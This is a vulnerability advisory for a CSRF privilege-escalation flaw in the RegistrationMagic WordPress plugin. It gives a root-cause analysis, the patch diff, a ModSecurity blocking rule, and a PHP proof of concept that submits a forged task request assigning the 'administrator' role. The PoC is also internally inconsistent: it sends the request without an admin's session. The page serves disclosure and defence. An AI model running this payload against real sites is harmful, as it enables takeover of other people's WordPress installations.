Published : June 30, 2026

CVE-2026-12158: RegistrationMagic <= 6.0.9.1 Cross-Site Request Forgery to Privilege Escalation via 'rmc_assign_user_role_action' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 8.8)
CWE 352
Vulnerable Version 6.0.9.1
Patched Version 6.0.9.2
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12158:

This vulnerability is a Cross-Site Request Forgery (CSRF) leading to privilege escalation within the RegistrationMagic plugin for WordPress, affecting all versions up to, and including, 6.0.9.1. The flaw resides in the Chronos automation task management system, specifically in the task editing functionality. The CVSS score of 8.8 reflects the high impact of privilege escalation combined with the requirement for user interaction.

Root Cause:

The root cause is the absence of nonce validation in the `edit_task` function of `RM_Chronos_Task_Controller` (file: /plus/chronos/controllers/task_controller.php). Before the patch, the `edit_task` method (line 86-87) called `$this->service->process_request($req)` without verifying a nonce. The `process_request` function in the service (file: /plus/chronos/services/service.php) processes the `rmc_assign_user_role_action` parameter. This parameter allows an attacker to specify which roles to assign to a user when a Chronos task triggers. The lack of a nonce means any authenticated administrator can be tricked into submitting a forged request without their knowledge.

Exploitation:

An attacker crafts a malicious HTML page that, when visited by an administrator, submits a forged POST request to the `wp-admin/admin.php?page=rm_ex_chronos_task_manager` endpoint. The request includes the `rmc-task-edit-form-subbed` parameter set to ‘yes’ and the `rmc_assign_user_role_action` parameter set to an array containing ‘administrator’. By doing so, the attacker creates a Chronos automation task. This task, when executed by the WordPress cron system, will escalate the privileges of an arbitrary form submitter to administrator. The attack does not require the attacker to be authenticated, as the forged request originates from the administrator’s browser.

Patch Analysis:

The patch introduces two primary security controls. First, in the `edit_task` method, a nonce check is added: `if (!wp_verify_nonce($retrieved_nonce, ‘rm_chronos_edit_task’ ) ) die(…)` (line 89). This ensures the request originated from the legitimate admin edit task form. Second, in the service’s `process_request` method, a capability check and role validation are added. The check `current_user_can(‘promote_users’)` (line 68) ensures only administrators with user promotion privileges can assign roles. Additionally, the `get_allowed_assignable_roles()` function filters out roles with privileged capabilities (like ‘administrator’), preventing non-admin roles from being assigned. These changes mean that even if a CSRF attack occurs, the target role cannot be set to ‘administrator’ by a non-admin user.

Impact:

Successful exploitation allows an unauthenticated attacker to create a Chronos automation task that, upon execution, grants a submitted form user the ‘administrator’ role. This results in complete privilege escalation, compromising the entire WordPress site. An attacker could then create new admin users, modify settings, install malicious plugins, or exfiltrate sensitive data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/custom-registration-form-builder-with-submission-manager/includes/class_rm_ui_strings.php
+++ b/custom-registration-form-builder-with-submission-manager/includes/class_rm_ui_strings.php
@@ -1536,7 +1536,7 @@
                 return sprintf(__("Subject of the mail sent to the user. <a target='_blank' class='rm-more' href='%s'>More</a>", 'custom-registration-form-builder-with-submission-manager'),'https://registrationmagic.com/knowledgebase/auto-responder/#htsubject');

             case 'HELP_ADD_FORM_AUTO_RESP_MSG':
-                return sprintf(__("Content of the email to be sent to the user. You can use rich text and values the user submitted in the form for a more personalized message. If you are creating a new form, Add Fields drop down will be empty. You can come back after adding fields to the form. You can also use {{SUBMISSION_DATA}} placeholder in your content to send all the form submission data to the user. <a target='_blank' class='rm-more' href='%s'>More</a>", 'custom-registration-form-builder-with-submission-manager'),'https://registrationmagic.com/knowledgebase/auto-responder/#htbody');
+                return sprintf(__("Content of the email to be sent to the user. You can use rich text and values the user submitted in the form for a more personalized message. If you are creating a new form, Add Fields drop down will be empty. You can come back after adding fields to the form. You can also use {{SUBMISSION_DATA}} placeholder in your content to send all the form submission data to the user. {{SUBMISSION_ID}} can be used to display the unique ID of each form submission. <a target='_blank' class='rm-more' href='%s'>More</a>", 'custom-registration-form-builder-with-submission-manager'),'https://registrationmagic.com/knowledgebase/auto-responder/#htbody');

             case 'HELP_ADD_FORM_SUB_BTN_LABEL':
                 return __("Label for the button that will submit the form. Leave blank for default label.", 'custom-registration-form-builder-with-submission-manager');
--- a/custom-registration-form-builder-with-submission-manager/plus/chronos/controllers/task_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/plus/chronos/controllers/task_controller.php
@@ -1,103 +1,105 @@
-<?php
-
-class RM_Chronos_Task_Controller
-{
-    protected $service;
-
-    function __construct()
-    {
-        $this->service = new RM_Chronos_Service;
-    }
-
-    public function add()
-    {
-       // $this->service->add();
-       // $this->view->render();
-    }
-
-    public function delete_task($task_id)
-    {
-        $this->service->remove_task($task_id);
-    }
-
-    public function manage_tasks($req)
-    {
-        if(isset($req['rmc_action'],$req['rmc_task_id'])) {
-            switch($req['rmc_action']) {
-                case 'delete':
-                    $this->delete_task(absint($req['rmc_task_id']));
-                    break;
-            }
-        }
-        $data = new stdClass;
-        $data->forms = RM_Utilities::get_forms_dropdown($this->service);
-        reset($data->forms);
-        $data->form_id = isset($req['rm_form_id']) ? absint($req['rm_form_id']) : key($data->forms);
-        $data->tasks_data = RM_Chronos::get_tasks($data->form_id);
-        $data->autostart_tour = !RM_Utilities::has_taken_tour('task_manager_tour');
-        $data->page_url_base = admin_url("admin.php?page=rm_ex_chronos_manage_tasks");
-        //Include joyride script and style
-        wp_enqueue_script('rm_joyride_js', RM_BASE_URL.'admin/js/jquery.joyride-2.1.js');
-        wp_enqueue_style('rm_joyride_css', RM_BASE_URL.'admin/css/joyride-2.1.css');
-        wp_enqueue_style('rm_chronos_task_man_style', RM_Chronos::get_base_url()."templates/css/task_manager.css", array(), RM_PLUGIN_VERSION);
-        wp_register_script('rm_chronos_script', RM_Chronos::get_base_url()."templates/js/chronos.js", array(), RM_PLUGIN_VERSION);
-        $chronos_js_vars= array(
-            'empty_error'=>__('Value can not be empty','custom-registration-form-builder-with-submission-manager'),
-            'removing'=>__('Removing...','custom-registration-form-builder-with-submission-manager'),
-            'one_rule_error'=>__('Enable at least one rule','custom-registration-form-builder-with-submission-manager'),
-            'age_error'=>__('Age can not be empty','custom-registration-form-builder-with-submission-manager'),
-            'invalid_age'=>__('Invalid ages specified','custom-registration-form-builder-with-submission-manager'),
-            'empty_error'=>__('Value can not be empty','custom-registration-form-builder-with-submission-manager'),
-            'rmc_sortable_tasks_nonce'=>wp_create_nonce('rmc_sortable_tasks_nonce')
-        );
-        wp_localize_script('rm_chronos_script','chronos_js_vars',$chronos_js_vars);
-        wp_enqueue_script('rm_chronos_script');
-        do_action('rm_pre_admin_template_render', "manage_tasks");
-        include_once RM_ADMIN_DIR.'views/template_rm_header.php';
-        include RM_Chronos::get_base_dir()."templates/task_manager.php";
-    }
-
-    public function edit_task($req)
-    {
-        if(isset($req['rmc-task-edit-form-subbed']) && $req['rmc-task-edit-form-subbed'] == 'yes') {
-            $this->service->process_request($req);
-            $form_id = absint(RM_Chronos_Toolkit::safe_array_fetch($req, 'rm_form_id'));
-            RM_Utilities::redirect(admin_url("admin.php?page=rm_ex_chronos_manage_tasks&rm_form_id={$form_id}"));
-        }
-        $data = new stdClass;
-        $editor_service = new RM_Editor_Actions_Service;
-
-        $data->forms = RM_Utilities::get_forms_dropdown($this->service);
-        reset($data->forms);
-        $data->form_id = isset($req['rm_form_id']) ? absint($req['rm_form_id']) : key($data->forms);
-        if(isset($req['rmc_task_id'])) {
-            $data->task_id = absint($req['rmc_task_id']);
-            $task_factory = new RM_Chronos_Task_Factory();
-            $data->task = $task_factory->create_task($data->task_id);
-        } else {
-            $data->task_id = null;
-            $data->task = null;
-        }
-
-        $data->init_field_config = $this->service->get_field_initial_config($data->task);
-        $data->fields = $this->service->get_all_form_fields_for_task($data->form_id);//$editor_service->add_email($data->form_id);
-        //$data->task_data = null;
-        $data->page_url_base = admin_url("admin.php?page=rm_ex_chronos_task_manager");
-
-        $pay_procs_options = array("paypal" => "<img src='" . RM_IMG_URL . "/paypal-logo.png" . "'>",
-                                   "stripe" => "<img src='" . RM_IMG_URL . "/stripe-logo.png" . "'>");
-        //pass it through extensions so more pay procs can be added.
-        $data->pay_procs_options = apply_filters('rm_extend_payprocs_options',$pay_procs_options, $data);
-        //slight change to handle anet => anet_sim anomaly
-        if(isset($data->pay_procs_options['anet'])) {
-            $data->pay_procs_options['anet_sim'] = $data->pay_procs_options['anet'];
-            unset($data->pay_procs_options['anet']);
-        }
-
-        wp_enqueue_style('rm_chronos_edit_task_style', RM_Chronos::get_base_url()."templates/css/edit_task.css", array(), RM_PLUGIN_VERSION);
-        wp_enqueue_script('rm_chronos_script', RM_Chronos::get_base_url()."templates/js/chronos.js", array(), RM_PLUGIN_VERSION);
-        do_action('rm_pre_admin_template_render', "edit_tasks");
-        include RM_Chronos::get_base_dir()."templates/edit_task.php";
-    }
-
-}
+<?php
+
+class RM_Chronos_Task_Controller
+{
+    protected $service;
+
+    function __construct()
+    {
+        $this->service = new RM_Chronos_Service;
+    }
+
+    public function add()
+    {
+       // $this->service->add();
+       // $this->view->render();
+    }
+
+    public function delete_task($task_id)
+    {
+        $this->service->remove_task($task_id);
+    }
+
+    public function manage_tasks($req)
+    {
+        if(isset($req['rmc_action'],$req['rmc_task_id'])) {
+            switch($req['rmc_action']) {
+                case 'delete':
+                    $this->delete_task(absint($req['rmc_task_id']));
+                    break;
+            }
+        }
+        $data = new stdClass;
+        $data->forms = RM_Utilities::get_forms_dropdown($this->service);
+        reset($data->forms);
+        $data->form_id = isset($req['rm_form_id']) ? absint($req['rm_form_id']) : key($data->forms);
+        $data->tasks_data = RM_Chronos::get_tasks($data->form_id);
+        $data->autostart_tour = !RM_Utilities::has_taken_tour('task_manager_tour');
+        $data->page_url_base = admin_url("admin.php?page=rm_ex_chronos_manage_tasks");
+        //Include joyride script and style
+        wp_enqueue_script('rm_joyride_js', RM_BASE_URL.'admin/js/jquery.joyride-2.1.js');
+        wp_enqueue_style('rm_joyride_css', RM_BASE_URL.'admin/css/joyride-2.1.css');
+        wp_enqueue_style('rm_chronos_task_man_style', RM_Chronos::get_base_url()."templates/css/task_manager.css", array(), RM_PLUGIN_VERSION);
+        wp_register_script('rm_chronos_script', RM_Chronos::get_base_url()."templates/js/chronos.js", array(), RM_PLUGIN_VERSION);
+        $chronos_js_vars= array(
+            'empty_error'=>__('Value can not be empty','custom-registration-form-builder-with-submission-manager'),
+            'removing'=>__('Removing...','custom-registration-form-builder-with-submission-manager'),
+            'one_rule_error'=>__('Enable at least one rule','custom-registration-form-builder-with-submission-manager'),
+            'age_error'=>__('Age can not be empty','custom-registration-form-builder-with-submission-manager'),
+            'invalid_age'=>__('Invalid ages specified','custom-registration-form-builder-with-submission-manager'),
+            'empty_error'=>__('Value can not be empty','custom-registration-form-builder-with-submission-manager'),
+            'rmc_sortable_tasks_nonce'=>wp_create_nonce('rmc_sortable_tasks_nonce')
+        );
+        wp_localize_script('rm_chronos_script','chronos_js_vars',$chronos_js_vars);
+        wp_enqueue_script('rm_chronos_script');
+        do_action('rm_pre_admin_template_render', "manage_tasks");
+        include_once RM_ADMIN_DIR.'views/template_rm_header.php';
+        include RM_Chronos::get_base_dir()."templates/task_manager.php";
+    }
+
+    public function edit_task($req)
+    {
+        if(isset($req['rmc-task-edit-form-subbed']) && $req['rmc-task-edit-form-subbed'] == 'yes') {
+            $retrieved_nonce = isset($req['_wpnonce']) ? $req['_wpnonce'] : '';
+            if (!wp_verify_nonce($retrieved_nonce, 'rm_chronos_edit_task' ) ) die( esc_html__('Failed security check','custom-registration-form-builder-with-submission-manager') );
+            $this->service->process_request($req);
+            $form_id = absint(RM_Chronos_Toolkit::safe_array_fetch($req, 'rm_form_id'));
+            RM_Utilities::redirect(admin_url("admin.php?page=rm_ex_chronos_manage_tasks&rm_form_id={$form_id}"));
+        }
+        $data = new stdClass;
+        $editor_service = new RM_Editor_Actions_Service;
+
+        $data->forms = RM_Utilities::get_forms_dropdown($this->service);
+        reset($data->forms);
+        $data->form_id = isset($req['rm_form_id']) ? absint($req['rm_form_id']) : key($data->forms);
+        if(isset($req['rmc_task_id'])) {
+            $data->task_id = absint($req['rmc_task_id']);
+            $task_factory = new RM_Chronos_Task_Factory();
+            $data->task = $task_factory->create_task($data->task_id);
+        } else {
+            $data->task_id = null;
+            $data->task = null;
+        }
+
+        $data->init_field_config = $this->service->get_field_initial_config($data->task);
+        $data->fields = $this->service->get_all_form_fields_for_task($data->form_id);//$editor_service->add_email($data->form_id);
+        //$data->task_data = null;
+        $data->page_url_base = admin_url("admin.php?page=rm_ex_chronos_task_manager");
+
+        $pay_procs_options = array("paypal" => "<img src='" . RM_IMG_URL . "/paypal-logo.png" . "'>",
+                                   "stripe" => "<img src='" . RM_IMG_URL . "/stripe-logo.png" . "'>");
+        //pass it through extensions so more pay procs can be added.
+        $data->pay_procs_options = apply_filters('rm_extend_payprocs_options',$pay_procs_options, $data);
+        //slight change to handle anet => anet_sim anomaly
+        if(isset($data->pay_procs_options['anet'])) {
+            $data->pay_procs_options['anet_sim'] = $data->pay_procs_options['anet'];
+            unset($data->pay_procs_options['anet']);
+        }
+
+        wp_enqueue_style('rm_chronos_edit_task_style', RM_Chronos::get_base_url()."templates/css/edit_task.css", array(), RM_PLUGIN_VERSION);
+        wp_enqueue_script('rm_chronos_script', RM_Chronos::get_base_url()."templates/js/chronos.js", array(), RM_PLUGIN_VERSION);
+        do_action('rm_pre_admin_template_render', "edit_tasks");
+        include RM_Chronos::get_base_dir()."templates/edit_task.php";
+    }
+
+}
--- a/custom-registration-form-builder-with-submission-manager/plus/chronos/services/service.php
+++ b/custom-registration-form-builder-with-submission-manager/plus/chronos/services/service.php
@@ -1,6 +1,36 @@
 <?php

 class RM_Chronos_Service extends RM_Services {
+    public static function get_allowed_assignable_roles() {
+        if (!function_exists('get_editable_roles'))
+            require_once ABSPATH . 'wp-admin/includes/user.php';
+
+        $roles = get_editable_roles();
+        $privileged_caps = array('manage_options', 'promote_users', 'edit_users', 'delete_users', 'create_users');
+        $allowed_roles = array();
+
+        foreach($roles as $role_key => $role_data) {
+            if($role_key === 'administrator')
+                continue;
+
+            $capabilities = isset($role_data['capabilities']) && is_array($role_data['capabilities']) ? $role_data['capabilities'] : array();
+            $has_privileged_cap = false;
+            foreach($privileged_caps as $cap) {
+                if(!empty($capabilities[$cap])) {
+                    $has_privileged_cap = true;
+                    break;
+                }
+            }
+
+            if($has_privileged_cap)
+                continue;
+
+            $allowed_roles[$role_key] = isset($role_data['name']) ? $role_data['name'] : $role_key;
+        }
+
+        return $allowed_roles;
+    }
+
     public function process_request($req) {
         $task_conf = array();
         if(!isset($req['rm_form_id']))
@@ -38,9 +68,17 @@
                                        'email_template' => RM_Chronos_Toolkit::safe_array_fetch($req, 'rmc_action_send_mail_body')
                                     );
         }
-        if(isset($req['rmc_assign_user_role_action'])) {
-            $task_conf['actions'][] = RM_Chronos_Action_Interface::ACTION_TYPE_ASSIGN_ROLE;
-            $task_conf['meta']['user_roles'] = RM_Chronos_Toolkit::safe_array_fetch($req, 'rmc_assign_user_role_action');
+        if(isset($req['rmc_assign_user_role_action']) && (!is_admin() || current_user_can('promote_users'))) {
+            $allowed_roles = array_keys(self::get_allowed_assignable_roles());
+            $submitted_roles = RM_Chronos_Toolkit::safe_array_fetch($req, 'rmc_assign_user_role_action', array());
+            $submitted_roles = is_array($submitted_roles) ? $submitted_roles : array($submitted_roles);
+            $submitted_roles = array_map('sanitize_key', $submitted_roles);
+            $valid_roles = array_values(array_intersect($submitted_roles, $allowed_roles));
+
+            if(!empty($valid_roles)) {
+                $task_conf['actions'][] = RM_Chronos_Action_Interface::ACTION_TYPE_ASSIGN_ROLE;
+                $task_conf['meta']['user_roles'] = $valid_roles;
+            }
         }
         $task_conf['meta']['rmc_task_type'] = RM_Chronos_Toolkit::safe_array_fetch($req, 'rmc_task_type');
         $task_conf['meta']['rmc_task_first_execution'] = RM_Chronos_Toolkit::safe_array_fetch($req, 'rmc_task_first_execution') !== '' ? strtotime(get_gmt_from_date(RM_Chronos_Toolkit::safe_array_fetch($req, 'rmc_task_first_execution'))) : '';
--- a/custom-registration-form-builder-with-submission-manager/plus/chronos/templates/edit_task.php
+++ b/custom-registration-form-builder-with-submission-manager/plus/chronos/templates/edit_task.php
@@ -14,6 +14,7 @@
         <div class="rmheader"><?php _e('Task Settings','custom-registration-form-builder-with-submission-manager'); ?></div>

         <form name="rmc_task_settings_form" id="rmc_task_settings_form" action="" method="post" style="display:none">
+            <?php wp_nonce_field('rm_chronos_edit_task'); ?>
             <input type="hidden" name="rmc-task-edit-form-subbed" value="yes">

             <input type="radio" name="rm-task-slide" class="rm-slide-radio1 rm-task-slide-radio" checked id="rm-task-slide-1">
@@ -351,8 +352,7 @@
                     <div class="rminput">
                         <div class="rm-wp-role-selector-wrap">
                         <?php
-                            global $wp_roles;
-                            $roles = $wp_roles->get_names();
+                            $roles = RM_Chronos_Service::get_allowed_assignable_roles();
                             foreach($roles as $role_key => $role_val) {
                                 $tag_attr = defined('REGMAGIC_ADDON') ? 'name=rmc_assign_user_role_action[]' : 'name=buy_pro_2[] disabled';
                                 if(in_array($role_key, $action_data['g_assign_user_role_action']['roles']))
@@ -513,4 +513,4 @@
     </div>
 </div>
 <?php include_once RM_ADMIN_DIR . 'views/template_rm_footer.php'; ?>
-<?php include_once RM_ADMIN_DIR . 'views/template_rm_promo_banner_bottom.php'; ?>
 No newline at end of file
+<?php include_once RM_ADMIN_DIR . 'views/template_rm_promo_banner_bottom.php'; ?>
--- a/custom-registration-form-builder-with-submission-manager/registration_magic.php
+++ b/custom-registration-form-builder-with-submission-manager/registration_magic.php
@@ -15,7 +15,7 @@
  * Plugin Name:       RegistrationMagic
  * Plugin URI:        http://www.registrationmagic.com
  * Description:       A powerful system for customizing registration forms, setting up paid registrations, tracking submissions, managing users, assigning user roles, analyzing stats, and much more!!
- * Version:           6.0.9.1
+ * Version:           6.0.9.2
  * Tags:              registration, form, custom, analytics, simple, submissions
  * Requires at least: 5.2.0
  * Requires PHP:      7.2
@@ -78,7 +78,7 @@
 */
 if(!defined('RM_PLUGIN_VERSION')) {
     define('RM_PLUGIN_BASENAME', plugin_basename(__FILE__ ));
-    define('RM_PLUGIN_VERSION', '6.0.9.1');
+    define('RM_PLUGIN_VERSION', '6.0.9.2');
     define('RM_DB_VERSION', 5.9);
     define('RM_SHOW_WHATSNEW_SPLASH', false);  //Set it to 'false' to disable whatsnew screen.
     //define FB SDK req flags. Flags should be combined using logical OR and should be checked using AND.
--- a/custom-registration-form-builder-with-submission-manager/services/class_rm_email_service.php
+++ b/custom-registration-form-builder-with-submission-manager/services/class_rm_email_service.php
@@ -484,6 +484,11 @@
             }
         }

+        // Add submission ID to email content if available
+        if (isset($params->sub_id)) {
+            $email_content = str_replace('{{SUBMISSION_ID}}', (string)$params->sub_id, $email_content);
+        }
+
         $out = array();
         $preg_result = preg_match_all('/{{(.*?)}}/', $email_content, $out);

@@ -790,18 +795,18 @@

     private static function replace_submission_field_placeholders($content, $params)
     {
-        $submission_data = array();
-        if (!empty($params->db_data) && is_array($params->db_data)) {
-            $submission_data = $params->db_data;
-        } else if (!empty($params->sub_data) && is_array($params->sub_data)) {
-            $submission_data = $params->sub_data;
-        }
-
-        if (empty($submission_data)) {
-            return $content;
-        }
-
-        foreach ($submission_data as $field_id => $field_data) {
+        $submission_data = array();
+        if (!empty($params->db_data) && is_array($params->db_data)) {
+            $submission_data = $params->db_data;
+        } else if (!empty($params->sub_data) && is_array($params->sub_data)) {
+            $submission_data = $params->sub_data;
+        }
+
+        if (empty($submission_data)) {
+            return $content;
+        }
+
+        foreach ($submission_data as $field_id => $field_data) {
             if (empty($field_data) || !isset($field_data->type)) {
                 continue;
             }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-12158
# This rule blocks CSRF attacks targeting the RegistrationMagic Chronos task editor.
# It matches requests to the task manager page that attempt to set the rmc_assign_user_role_action parameter
# to 'administrator' without a valid nonce. This is a virtual patch that prevents exploitation.
SecRule REQUEST_URI "@rx /wp-admin/admin.php$" 
  "id:202612158,phase:2,deny,status:403,chain,msg:'CVE-2026-12158 - CSRF to Privilege Escalation in RegistrationMagic',severity:'CRITICAL',tag:'CVE-2026-12158'"
  SecRule ARGS:page "@streq rm_ex_chronos_task_manager" "chain"
    SecRule ARGS:rmc-task-edit-form-subbed "@streq yes" "chain"
      SecRule ARGS:rmc_assign_user_role_action "@pm administrator" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12158 - RegistrationMagic <= 6.0.9.1 - Cross-Site Request Forgery to Privilege Escalation

// Configure the target WordPress admin URL
$target_url = 'http://localhost/wp-admin/admin.php?page=rm_ex_chronos_task_manager';

// The attacker crafts a POST request that simulates an admin submitting the Chronos task edit form.
// The goal is to create a task that assigns the 'administrator' role to any form submitter.

$payload = array(
    'rmc-task-edit-form-subbed' => 'yes',
    'rm_form_id' => 1,  // Replace with the target form ID
    'rmc_assign_user_role_action' => array('administrator'),
    'rmc_action_send_mail' => array(),
    'rmc_action_assign_role' => array(),
    'rmc_task_type' => 'user_submit',
    'rmc_task_first_execution' => date('Y-m-d H:i:s'),
    'rmc_task_name' => 'CSRF Privilege Escalation',
    'rmc_task_description' => 'Automatically assign admin role on registration.'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Output for debugging
echo "[+] Sending CSRF payload to: " . $target_url . "n";

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo '[!] cURL error: ' . curl_error($ch) . "n";
} else {
    echo "[+] Request sent successfully. If an admin visits this page, a new Chronos task will be created.n";
    echo "[+] The task, when executed, will assign the 'administrator' role to new form submissions.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.